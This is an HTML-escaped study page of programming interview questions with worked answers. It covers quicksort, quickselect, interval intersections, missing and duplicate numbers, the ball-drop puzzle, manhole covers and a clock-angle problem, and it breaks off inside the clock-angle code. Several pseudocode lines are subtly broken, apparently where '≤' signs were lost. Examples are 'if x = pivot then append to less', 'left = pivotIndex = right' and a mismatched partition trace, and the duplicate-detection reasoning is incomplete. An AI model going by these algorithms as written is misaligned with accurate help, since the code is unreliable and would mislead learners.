 &lt;b&gt;function&lt;/b&gt; quicksort(&apos;array&apos;)
        &lt;b&gt;if&lt;/b&gt; length(&apos;array&apos;) = 1
             &lt;b&gt;return&lt;/b&gt; &apos;array&apos;  // an array of zero or one elements is already sorted
        select and remove a pivot value &apos;pivot&apos; from &apos;array&apos;
        create empty lists &apos;less&apos; and &apos;greater&apos;
        &lt;b&gt;for each&lt;/b&gt; &apos;x&apos; &lt;b&gt;in&lt;/b&gt; &apos;array&apos;
             &lt;b&gt;if&lt;/b&gt; &apos;x&apos; = &apos;pivot&apos; &lt;b&gt;then&lt;/b&gt; append &apos;x&apos; to &apos;less&apos;
             &lt;b&gt;else&lt;/b&gt; append &apos;x&apos; to &apos;greater&apos;
        &lt;b&gt;return&lt;/b&gt; concatenate(quicksort(&apos;less&apos;), &apos;pivot&apos;, quicksort(&apos;greater&apos;)) // two recursive calls
&lt;/pre&gt;        

&lt;p&gt;
Notice that we only examine elements by comparing them to other elements. This makes quicksort a comparison sort.
&lt;/p&gt;
&lt;p&gt;
The correctness of the partition algorithm is based on the following two arguments:
&lt;/p&gt;

&lt;ul&gt;
     &lt;li&gt;At each iteration, all the elements processed so far are in the desired position: before the pivot if less than the pivot&apos;s value, after the pivot if greater than the pivot&apos;s value (loop invariant).&lt;/li&gt;
     &lt;li&gt;Each iteration leaves one fewer element to be processed (loop variant).&lt;/li&gt;
&lt;/ul&gt;     

&lt;p&gt;
The correctness of the overall algorithm can be proven via induction: for zero or one element, the algorithm leaves the data unchanged; for a larger data set it produces the concatenation of two parts, elements less than the pivot and elements greater than it, themselves sorted by the recursive hypothesis.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;In-place version&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a id=&quot;quick_sort_in_place&quot;&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
The disadvantage of the simple version above is that it requires O(n) extra storage space, which is as bad as merge sort. The additional memory allocations required can also drastically impact speed and cache performance in practical implementations. There is a more complex version which uses an in-place partition algorithm and can achieve the complete sort using O(log n) space (not counting the input) on average (for the call stack). We start with a partition function:
&lt;/p&gt;

&lt;pre&gt;
    // left is the index of the leftmost element of the array
    // right is the index of the rightmost element of the array (inclusive)
    //    number of elements in subarray = right-left+1
    &lt;b&gt;function&lt;/b&gt; partition(array, left, right, pivotIndex)
        pivotValue := array[pivotIndex]
        swap array[pivotIndex] and array[right]  // Move pivot to end
        storeIndex := left
        &lt;b&gt;for&lt;/b&gt; i &lt;b&gt;from&lt;/b&gt; left &lt;b&gt;to&lt;/b&gt; right - 1  // left = i &amp;lt; right
             &lt;b&gt;if&lt;/b&gt; array[i] &amp;lt; pivotValue
                  swap array[i] and array[storeIndex]
                  storeIndex := storeIndex + 1
        swap array[storeIndex] and array[right]  // Move pivot to its final place
        &lt;b&gt;return&lt;/b&gt; storeIndex
&lt;/pre&gt;

&lt;p&gt;
Tesing it:
&lt;/p&gt;

&lt;pre&gt;
     a =   [1, 9, 5, 4, 8, 6, 2, 3, 4, 7, 5]
 ( idx =    0  1  2  3  4  5  6  7  8  9  10 )

Call : partition (a, 0, 10, 5)
       pivotValue := 6
             swap : [1, 9, 5, 4, 8, &apos;6&apos;, 2, 3, 4, 5, &apos;7&apos;] -&gt; [1, 9, 5, 4, 8, &apos;7&apos;, 2, 3, 4, 5, &apos;6&apos;]
       storeIndex := 0

i=0    array[i] = 1   &amp;lt;6 true
            swap without effet
     storeIndex = 1   

i=1    array[i] = 9
     
i=2    array[i] = 5   &amp;lt;6 true
           swap : [1, &apos;9&apos;, &apos;5&apos;, 4, 8, 7, 2, 3, 4, 5, 6] -&gt; [1, &apos;5&apos;, &apos;9&apos;, 4, 8, 7, 2, 3, 4, 5, 6]
     storeIndex = 2

i=3    array[i] = 4   &amp;lt;6 true
           swap : [1, 5, &apos;9&apos;, &apos;4&apos;, 8, 7, 2, 3, 4, 5, 6] -&gt; [1, 5, &apos;4&apos;, &apos;9&apos;, 8, 7, 2, 3, 4, 5, 6]
     storeIndex = 3
    
i=4    array[i] = 8

i=5    array[i] = 7

i=6    array[i] = 2
           swap : [1, 5, 4, &apos;9&apos;, 8, 7, &apos;2&apos;, 3, 4, 5, 6] -&gt; [1, 5, 4, &apos;2&apos;, 8, 7, &apos;9&apos;, 3, 4, 5, 6]
     storeIndex = 4

i=7    array[i] = 3
           swap : [1, 5, 4, 2, &apos;8&apos;, 7, 9, &apos;3&apos;, 4, 5, 6] -&gt; [1, 5, 4, 2, &apos;3&apos;, 7, 9, &apos;8&apos;, 4, 5, 6]
     storeIndex = 5

i=8    array[i] = 4
           swap : [1, 5, 4, 2, 3, &apos;7&apos;, 9, 8, &apos;4&apos;, 5, 6] -&gt; [1, 5, 4, 2, 3, &apos;4&apos;, 9, 8, &apos;7&apos;, 5, 6]
     storeIndex = 6

i=9    array[i] = 5
           swap : [1, 5, 4, 2, 3, 4, &apos;9&apos;, 8, 7, &apos;5&apos;, 6] -&gt; [1, 5, 4, 2, 3, 4, &apos;5&apos;, 8, 7, &apos;9&apos;, 6]
     storeIndex = 7     

LastSwap:
           swap : [1, 5, 4, 2, 3, 4, 5, &apos;8&apos;, 7, 9, &apos;6&apos;] -&gt; [1, 5, 4, 2, 3, 4, 5, &apos;6&apos;, 7, 9, &apos;8&apos;]
     return storeIndex = 7 which is the last place of the pivot
&lt;/pre&gt;

&lt;p&gt;
This is the in-place partition algorithm. It partitions the portion of the array between indexes left and right, inclusively, by moving all elements 
less than array[pivotIndex] before the pivot, and the equal or greater elements after it. In the process it also finds the final position for the pivot element, which it returns. It temporarily moves the pivot element to the end of the subarray, so that it doesn&apos;t get in the way. Because it only uses exchanges, the final list has the same elements as the original list. Notice that an element may be exchanged multiple times before reaching its final place. Also, in case of pivot duplicates in the input array, they can be spread across the right subarray, in any order. This doesn&apos;t represent a partitioning failure, as further sorting will reposition and finally &quot;glue&quot; them together.
&lt;/p&gt;
&lt;p&gt;
This form of the partition algorithm is not the original form; multiple variations can be found in various textbooks, such as versions not having 
the storeIndex. However, this form is probably the easiest to understand.
&lt;/p&gt;
&lt;p&gt;
Once we have this, writing quicksort itself is easy:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;function&lt;/b&gt; quicksort(array, left, right)
 
        // If the list has 2 or more items
        &lt;b&gt;if&lt;/b&gt; left &amp;lt; right
 
             // See &quot;Choice of pivot&quot; section below for possible choices
             choose any pivotIndex such that left = pivotIndex = right
 
             // Get lists of bigger and smaller items and final position of pivot
             pivotNewIndex := partition(array, left, right, pivotIndex)
 
             // Recursively sort elements smaller than the pivot
             quicksort(array, left, pivotNewIndex - 1)
 
             // Recursively sort elements at least as big as the pivot
             quicksort(array, pivotNewIndex + 1, right)
&lt;/pre&gt;

&lt;p&gt;
Each recursive call to this quicksort function reduces the size of the array being sorted by at least one element, since in each invocation the 
element at pivotNewIndex is placed in its final position. Therefore, this algorithm is guaranteed to terminate after at most n recursive calls. 
However, since partition reorders elements within a partition, 
this version of quicksort is not a stable sort.
&lt;/p&gt;
&lt;p&gt;
In average, quick sort runs on O(n log n). &lt;br&gt;
In the worst case, i.e. the most unbalanced case, each time we perform a partition we divide the list into two sublists of size 0 and n-1. 
This means each recursive call processes a list of size one less than the previous list. Consequently, we can make n-1 nested calls before we 
reach a list of size 1. This means that the call tree is a linear chain of n-1 nested calls. So in that case Quicksort take O(n^2) time
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://en.wikipedia.org/wiki/Quicksort&quot;&gt;http://en.wikipedia.org/wiki/Quicksort&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt13&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;13.&lt;/b&gt;  Describe a partition-based selection algorithm
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt13&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Selection by sorting&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Selection can be reduced to sorting by sorting the list and then extracting the desired element. This method is efficient when many selections need to be made from a list,
 in which case only one initial, expensive sort is needed, followed by many cheap extraction operations. In general, this method requires O(n log n) time, where n is the length of the list.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Linear minimum/maximum algorithms&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Linear time algorithms to find minima or maxima work by iterating over the list and keeping track of the minimum or maximum element so far.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Nonlinear general selection algorithm&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Using the same ideas used in minimum/maximum algorithms, we can construct a simple, but inefficient general algorithm for finding the kth smallest or kth largest item in a 
list, requiring O(kn) time, which is effective when k is small. To accomplish this, we simply find the most extreme value and move it to the beginning until we reach our 
desired index. This can be seen as an incomplete selection sort. &lt;br&gt;
Here is the minimum-based algorithm:
&lt;/p&gt;
&lt;pre&gt;
 &lt;b&gt;function&lt;/b&gt; select(list[1..n], k)
      &lt;b&gt;for&lt;/b&gt; i &lt;b&gt;from&lt;/b&gt; 1 &lt;b&gt;to&lt;/b&gt; k
            minIndex = i
            minValue = list[i]
            &lt;b&gt;for&lt;/b&gt; j &lt;b&gt;from&lt;/b&gt; i+1 &lt;b&gt;to&lt;/b&gt; n
                 &lt;b&gt;if&lt;/b&gt; list[j] &amp;lt; minValue
                      minIndex = j
                      minValue = list[j]
            swap list[i] and list[minIndex]
      &lt;b&gt;return&lt;/b&gt; list[k]
&lt;/pre&gt;
&lt;p&gt;
Other advantages of this method are:
&lt;/p&gt;
&lt;ul&gt;
     &lt;li&gt;After locating the jth smallest element, it requires only O(j + (k-j)^2) time to find the kth smallest element, or only O(1) for k = j.&lt;/li&gt;
     &lt;li&gt;It can be done with linked list data structures, whereas the one based on partition requires random access.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Partition-based general selection algorithm&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
A general selection algorithm that is efficient in practice, but has poor worst-case performance, was conceived by the inventor of quicksort, C.A.R. Hoare, and is known as 
&lt;b&gt;Hoare&apos;s selection algorithm&lt;/b&gt; or &lt;b&gt;quickselect&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;
In quicksort, there is a subprocedure called partition that can, in linear time, group a list (ranging from indices left to right) into two parts, those less than a 
certain element, and those greater than or equal to the element. (See previous question above)
&lt;/p&gt;
&lt;p&gt;
In quicksort, we recursively sort both branches, leading to best-case O(n log n) time. However, when doing selection, we already know which partition our desired element 
lies in, since the pivot is in its final sorted position, with all those preceding it in sorted order and all those following it in sorted order. Thus a single recursive call locates the desired element in the correct partition:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;function&lt;/b&gt; select(list, left, right, k)
      &lt;b&gt;if&lt;/b&gt; left = right // If the list contains only one element
            &lt;b&gt;return&lt;/b&gt; list[left]  // Return that element
      // select pivotIndex between left and right
      pivotNewIndex := partition(list, left, right, pivotIndex)
      pivotDist := pivotNewIndex - left + 1 
      // The pivot is in its final sorted position, 
      // so pivotDist reflects its 1-based position if list were sorted
      &lt;b&gt;if&lt;/b&gt; pivotDist = k 
            &lt;b&gt;return&lt;/b&gt; list[pivotNewIndex]
      &lt;b&gt;else&lt;/b&gt; if k &amp;lt; pivotDist 
            &lt;b&gt;return&lt;/b&gt; select(list, left, pivotNewIndex - 1, k)
      &lt;b&gt;else&lt;/b&gt;
            &lt;b&gt;return&lt;/b&gt; select(list, pivotNewIndex + 1, right, k - pivotDist)
&lt;/pre&gt;

&lt;p&gt;
Note the resemblance to quicksort: just as the minimum-based selection algorithm is a partial selection sort, this is a partial quicksort, generating and partitioning 
only O(log n) of its O(n) partitions. This simple procedure has expected linear performance, and, like quicksort, has quite good performance in practice. 
&lt;/p&gt;
&lt;p&gt;
It is also an in-place algorithm, requiring only constant memory overhead, since the tail recursion can be eliminated with a loop like this:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;function&lt;/b&gt; select(list, left, right, k)
      &lt;b&gt;loop&lt;/b&gt;
            // select pivotIndex between left and right
            pivotNewIndex := partition(list, left, right, pivotIndex)
            pivotDist := pivotNewIndex - left + 1
            &lt;b&gt;if&lt;/b&gt; pivotDist = k
                 &lt;b&gt;return&lt;/b&gt; list[pivotNewIndex]
            &lt;b&gt;else if&lt;/b&gt; k &amp;lt; pivotDist
                 right := pivotNewIndex - 1
            &lt;b&gt;else&lt;/b&gt;
                 k := k - pivotDist
                 left := pivotNewIndex + 1
&lt;/pre&gt;

&lt;p&gt;
Like quicksort, the performance of the algorithm is sensitive to the pivot that is chosen. If bad pivots are consistently chosen, this degrades to the minimum-based selection 
described previously, and so can require as much as O(n^2) time.
&lt;/p&gt;
&lt;p&gt;
Source on wikipedia : &lt;a href=&quot;http://en.wikipedia.org/wiki/Selection_algorithm#Partition-based_general_selection_algorithm&quot;&gt;http://en.wikipedia.org/wiki/Selection_algorithm#Partition-based_general_selection_algorithm&lt;/a&gt;.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt14&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;14.&lt;/b&gt; 
Given a list of integers that fall within a known short but unknown range of values, how to find the median value?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt14&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Use the algorithm above. 
&lt;/p&gt;
&lt;p&gt;
The initial call should be &lt;code&gt;Select(A, 0, N, (N-1)/2)&lt;/code&gt; if N is odd; you&apos;ll need to decide exactly what you want to do if N is even.
&lt;/p&gt;
&lt;p&gt;
Or given that the list of integers is known short, simply sort the values o(n log n) and pick up the median one once they are sorted.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt15&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;15.&lt;/b&gt; Given a set of intervals, find the interval which has the maximum number of intersections.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt15&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Key idea : if one first sorts all points of all intervals O(n log n), then one simply needs to browse the point once O(n) and analyze the situation at each encounterd point.
&lt;/p&gt;
&lt;p&gt;
Trying the following algorithm. The algorithm returns a map of intersections count for each interval.
&lt;/p&gt;
&lt;pre&gt;
Initialization :
 - sorted_points = sort all points (interval starts and ends, start points precedes equivalent end points) 
 - result = new Map &amp;lt;Interval -&gt; Number&gt;
 - current = new List&amp;lt;Interval&gt; // Use to store current intervals
 - nb_current = 0
Algorithm:
 &lt;b&gt;For each&lt;/b&gt; point &lt;b&gt;p&lt;/b&gt; in sorted_points &lt;b&gt;do&lt;/b&gt;
      i = interval matching p
      &lt;b&gt;if&lt;/b&gt; p is an interval start &lt;b&gt;then&lt;/b&gt;
            result[i] = nb_current
            increment nb_current 
            &lt;b&gt;for each&lt;/b&gt; other &lt;b&gt;in&lt;/b&gt; current &lt;b&gt;do&lt;/b&gt;
                 increment result[other]
            &lt;b&gt;end for&lt;/b&gt;
            add i in current            
      &lt;b&gt;else&lt;/b&gt;
            remove i from current
            decrement nb_current 
      &lt;b&gt;end if&lt;/b&gt;
 &lt;b&gt;end for&lt;/b&gt;
&lt;/pre&gt;
&lt;p&gt;
Testing it with:
&lt;/p&gt;
&lt;pre&gt;
                     c=     
a=[1..............6][78][9....10]=g
b=[1...2][3...4][5....8][9....11]=h                    
          d=     e=  [8..9]
                     f=
                                
Initialisations:
- sorted_points = {1, 1, 2, 3, 4, 5, 6, 7, 8, 8, 8, 9, 9, 9, 10, 11}
                         a  b  b  d  d  e  a  c  f  c  e  g  h  f  g    h
- nb_current = 0

&lt;b&gt;Point p=1 / i=a             Point p=1 / i=b                Point p=2 / i=b    &lt;/b&gt;
  result[a] = 0                result[b] = 1                  current = {a}
  nb_current = 1               nb_current = 2                 nb_current = 1
  current = {a}                  result[a] = 1
                                 current = {a, b}
                                    
&lt;b&gt;Point p=3 / i=d             Point p=4 / i=d                Point p=5 / i=e&lt;/b&gt;
  result[d] = 1                current = {a}                  result[e] = 1
  nb_current = 2               nb_current = 1                 nb_current = 2
     result[a] = 2                                               result[a] = 3
  current = {a, d}                                               current = {a, e}
  
&lt;b&gt;Point p=6 / i=a             Point p=7 / i=c                Point p=8 / i=f&lt;/b&gt;
  current = {e}                result[c] = 1                  result[f] = 2
  nb_current = 1               nb_current = 2                 nb_current = 3
                                result[e] = 2                   result[e] = 3
                                current = {e, c}                result[c] = 2
                                                                current = {e, c, f}
                                                                        
&lt;b&gt;Point p=8 / i=c             Point p=8 / i=e                Point p=9 / i=g&lt;/b&gt;
  current = {e, f}             current = {f}                  result[g] = 1
  nb_current = 2               nb_current = 1                 nb_current = 2
                                                                result[f] = 3
                                                                current = {f, g}
                                                                         
&lt;b&gt;Point p=9 / i=h             Point p=9 / i=f                 Point p=10 / i=g&lt;/b&gt;
  result[h] = 2                current = {g, h}                current = {h}
  nb_current = 3               nb_current = 2                  nb_current = 1
    result[f] = 4
    result[g] = 2
  current = {f, g, h}
  
&lt;b&gt;Point p=11 / i=h&lt;/b&gt;
  current = {}
  nb_current = 1
  
Results :
  reault = {f=4, g=2, e=3, c=2, a=3, h=2, b=1, d=1}  
         
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt16a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;16.a.&lt;/b&gt; Let&apos;s defined an array of 100 integers from 1 to 100, shuffled. One integer is taken out, find that integer.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt16a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
We know that sum(i=1..n) = n x (n + 1) / 2.
&lt;/p&gt;
&lt;p&gt;
Hence the sum of these numbers = 100 * 101 / 2 = x
&lt;/p&gt;
&lt;p&gt;
hence the value of the missing card is equals to x minus the actual sum of the cards which can easily be computed.
&lt;/p&gt;

&lt;pre&gt;
sum = 0;
n = 100;
&lt;b&gt;for&lt;/b&gt;( i =1; i &amp;lt;= n; i++) {
     sum += array[i];
}
print( (n*(n+1)/2 ) - sum )
&lt;/pre&gt;

&lt;p&gt;
If nore than one number is missing, see 
&lt;a href=&quot;http://stackoverflow.com/questions/3492302/easy-interview-question-got-harder-given-numbers-1-100-find-the-missing-numbe&quot;&gt;
http://stackoverflow.com/questions/3492302/easy-interview-question-got-harder-given-numbers-1-100-find-the-missing-numbe
&lt;/a&gt;
&lt;br&gt;
This idea is as follows: since we have now two or more missing variables, one needs to find a system of two or more equations.&lt;br&gt;
For 2 missing values, one can use for instance &lt;code&gt;x + = theoretical_sum - real_sum&lt;/code&gt; and&lt;code&gt; x^2 + y^2 = theoretical_sum_of_square - real_sum_of_square&lt;/code&gt;. For more value, need use higher power functions.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt16b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;16.b.&lt;/b&gt; Given an array of size N in which every number is between 1 and N, determine if there are any duplicates in it. You are allowed to destroy the array if you like. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt16b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Very similar to the problem above.&lt;br&gt;
We know that sum(i=1..n) = n x (n + 1) / 2. 
&lt;/p&gt;
&lt;p&gt;
If there are no duplicates, and yet N nubers between 1 to N, it means we have all the nubers between 1 to N.&lt;br&gt;
Hence the sum of these numbers = 100 * 101 / 2 = x
&lt;/p&gt;
&lt;p&gt;
We&apos;re left with computing the actual sum of the array (O(n))
&lt;/p&gt;

&lt;pre&gt;
sum = 0;
n = 100;
&lt;b&gt;for&lt;/b&gt;( i =1; i &amp;lt;= n; i++) {
     sum += array[i];
}
print(sum)
&lt;/pre&gt;

&lt;p&gt;
Let&apos;s store that sum in y.
&lt;/p&gt;
&lt;p&gt;
If x is not equals to y then
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;knowing that the N numbers are between 1 and N (not greater than N, nor smaller that 1) &lt;/li&gt;
    &lt;li&gt;One of the i=1..N is missing (otherwise x would have been equals to y) &lt;/li&gt;
    &lt;li&gt;Still there are N numbers &lt;/li&gt;
    &lt;li&gt;Hence at least one of the i=1..N is duplicated&lt;/li&gt;
&lt;/ul&gt;
	
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt16c&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;16.c.&lt;/b&gt; You have given an array from 1 to N and numbers also from 1 to N. But more than one number is missing and some numbers have repeated more than once. Find the algo with running time O(n).
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt16c&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
All the numbers are positive to start with.
&lt;br&gt;
Now, For each A[i], Check the sign of A[A[i]]. Make A[A[i]] negative if it&apos;s positive. 
&lt;br&gt;
Report a repetition if it&apos;s negative. 
&lt;/p&gt;
&lt;p&gt;
Finally all those entries i,for which A[i] is negative are present and those i for which A[i] is positive are absent.&lt;br&gt;
In addition, finding a number already negative when wanting to set a number negative indicates a duplicate.
&lt;/p&gt;
&lt;p&gt;
Runs in O(n) setting negatives and detecting duplicates + O(n) again looking for missing elements =&gt; O(n) total time complexity.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Detecting duplicates&lt;/b&gt;:
&lt;/p&gt;
&lt;p&gt;
Pseudo-code:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;for every&lt;/b&gt; index i &lt;b&gt;in&lt;/b&gt; list
  check for sign of A[abs(A[i])] ;
  &lt;b&gt;if&lt;/b&gt; positive &lt;b&gt;then&lt;/b&gt;
     make it negative by A[abs(A[i])]=-A[abs(A[i])];
  &lt;b&gt;else&lt;/b&gt;  // i.e., A[abs(A[i])] is negative
     this element (ith element of list) is a repetition
&lt;/pre&gt;

&lt;p&gt;
Implementation in C++:
&lt;/p&gt;

&lt;pre&gt;
#include &amp;lt;stdio.h&gt;
#include &amp;lt;stdlib.h&gt;
 
&lt;b&gt;void&lt;/b&gt; printRepeating(&lt;b&gt;int&lt;/b&gt; arr[], &lt;b&gt;int&lt;/b&gt; size)
{
  &lt;b&gt;int&lt;/b&gt; i;
  printf(&quot;The repeating elements are: \n&quot;);
  &lt;b&gt;for&lt;/b&gt; (i = 0; i &amp;lt; size; i++)
  {
    &lt;b&gt;if&lt;/b&gt; (arr[abs(arr[i])] &gt;= 0)
      arr[abs(arr[i])] = -arr[abs(arr[i])];
    &lt;b&gt;else&lt;/b&gt;
      printf(&quot; %d &quot;, abs(arr[i]));
  }
}
 
&lt;b&gt;int&lt;/b&gt; main()
{
  &lt;b&gt;int&lt;/b&gt; arr[] = {1, 2, 3, 1, 3, 6, 6};
  &lt;b&gt;int&lt;/b&gt; arr_size = &lt;b&gt;sizeof&lt;/b&gt;(arr)/&lt;b&gt;sizeof&lt;/b&gt;(arr[0]);
  printRepeating(arr, arr_size);
  getchar();
  &lt;b&gt;return&lt;/b&gt; 0;
}
&lt;/pre&gt;

&lt;p&gt;
Note: The above program doesn&apos;t handle 0 case (If 0 is present in array). The program can be easily modified to handle that also. It is not handled to keep the code simple.
&lt;/p&gt;
&lt;p&gt;
Output:
&lt;/p&gt;

&lt;pre&gt;
The repeating elements are:
1 3 6
&lt;/pre&gt;

&lt;p&gt;
&lt;b&gt;Detecting missing elements&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
This simply consists in one additional O(n) loop through the array looking for indices containing positive values. Each of this index represents a missing value, the value given by the index
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://www.geeksforgeeks.org/find-duplicates-in-on-time-and-constant-extra-space/&quot;&gt;http://www.geeksforgeeks.org/find-duplicates-in-on-time-and-constant-extra-space/&lt;/a&gt;.
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt17&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;17.&lt;/b&gt; You are given a number of identical balls and a building with N floors. You know that there is an integer X &amp;lt; N such that the ball will break if it is dropped 
from any floor X or higher but will remain intact if dropped from a floor below X.&lt;br&gt;
Given K balls and N how would you compute the minimum number of ball drops that are required to determine X in the worst-case?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt17&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;With N=100 and k=1&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
With one single ball, not much of a choice: need to start with floor 1 and climb one floor after the other until N=100 is reached.&lt;br&gt;
hence in the worst case 100 attempts are required.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;With N=100 and k=2&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
 The answer is 14. The strategy is to drop the first ball from the K-th story; if it breaks, you know that the answer is between 1 and K and you have to use at most K-1 drops to find it out, thus K drops will be used. It the first ball does not break when dropped from the K-th floor, you drop it again from the (K+K-1)-th floor, then, if it breaks, you find the critical floor between K+1 and K+K-1 in K-2 drops, i.e., again, the total number of drops is K. Continue until you get above the top floor or you drop the first ball K times. Therefore, you have to choose K so that the total number of floors covered in K steps, which is K(k+1)/2, is greater that 100 (the total size of the building). 13*14/2=91 -- too small. 14*15/2=105 -- enough.
&lt;/p&gt;
&lt;p&gt;
Obviously, the only possible strategy is to drop the first ball with some &quot;large&quot; intervals and then drop the last ball with interval 1 inside the &quot;large&quot; interval set by the two last drops of the first ball. If you claim that you can finish in 13 drops, you cannot drop the first ball for the first time from a floor above 13, since then you won&apos;t be able to detect the critical floor 13. The next cannot be above 25 etc.
&lt;/p&gt;
&lt;p&gt;
Hence in the worst case 14 attempts are required.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;With N=100 and k=3&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style=&quot;color: red;&quot;&gt;TODO To Be Continued&lt;/span&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt18&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;18.&lt;/b&gt; Why are manhole covers round?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt18&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Reasons for the shape include:
&lt;/p&gt;

&lt;ul&gt;
     &lt;li&gt;A round manhole cover cannot fall through its circular opening, whereas a square manhole cover may fall in if it were inserted diagonally in the hole. (A Reuleaux triangle or other curve of constant width would also serve this purpose, but round covers are much easier to manufacture. The existence of a &quot;lip&quot; holding up the lid means that the underlying hole is smaller than the cover, so that other shapes might suffice.)&lt;/li&gt;
     &lt;li&gt;Round tubes are the strongest and most material-efficient shape against the compression of the earth around them, and so it is natural that the cover of a round tube assume a circular shape.&lt;/li&gt;
     &lt;li&gt;The bearing surfaces of manhole frames and covers are machined to assure flatness and prevent them from becoming dislodged by traffic. Round castings are much easier to machine using a lathe.&lt;/li&gt;
     &lt;li&gt;Circular covers do not need to be rotated to align with the manhole.&lt;/li&gt;
     &lt;li&gt;A round manhole cover can be more easily moved by being rolled.&lt;/li&gt;
     &lt;li&gt;A round manhole cover can be easily locked in place with a quarter turn (as is done in countries like France). They are then hard to open unless you are authorised and have a special tool. Also then they do not have to be made so heavy traffic passing over them cannot lift them up by suction.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt19a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;19.a.&lt;/b&gt; Given the time, devise an algorithm to calculate the angle between the hour and minute hands of an analog clock. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt19a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;First approximative approach:&lt;/b&gt;
&lt;/p&gt;

&lt;pre&gt;
    &lt;b&gt;public static int&lt;/b&gt; getAngleInDegreesBetweenHandsOnClock (&lt;b&gt;int&lt;/b&gt; hour /*0-59*/, &lt;b&gt;int&lt;/b&gt; minute /*0-59*/) {
        
        &lt;b&gt;int&lt;/b&gt; angleFromNoonBig = (hour * 360 / 12) + (minute * 360 / 12 / 60);
        &lt;b&gt;int&lt;/b&gt; angleFromNoonSmall = minute * 360 / 60;
        
